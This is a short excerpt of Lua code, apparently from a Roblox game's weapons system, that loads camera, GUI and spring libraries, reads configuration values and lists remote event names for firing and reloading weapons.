local Immutable = {}
|
-- Dependencies
|
local WeaponData = script.Parent:WaitForChild("WeaponData")
local WeaponsSystemFolder = script.Parent
local WeaponTypes = WeaponsSystemFolder:WaitForChild("WeaponTypes")
local Libraries = WeaponsSystemFolder:WaitForChild("Libraries")
local ShoulderCamera = require(Libraries:WaitForChild("ShoulderCamera"))
local WeaponsGui = require(Libraries:WaitForChild("WeaponsGui"))
local SpringService = require(Libraries:WaitForChild("SpringService"))
local ancestorHasTag = require(Libraries:WaitForChild("ancestorHasTag"))
ShoulderCamera.SpringService = SpringService
local Configuration = WeaponsSystemFolder:WaitForChild("Configuration")
local ConfigurationValues = {
SprintEnabled = Configuration:WaitForChild("SprintEnabled"),
SlowZoomWalkEnabled = Configuration:WaitForChild("SlowZoomWalkEnabled"),
}
local WEAPON_TAG = "WeaponsSystemWeapon"
local WEAPON_TYPES_LOOKUP = {}
local REMOTE_EVENT_NAMES = {
"WeaponFired",
"WeaponHit",
"WeaponReloadRequest",
"WeaponReloaded",
"WeaponReloadCanceled",
"WeaponActivated"
}
local REMOTE_FUNCTION_NAMES = {}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.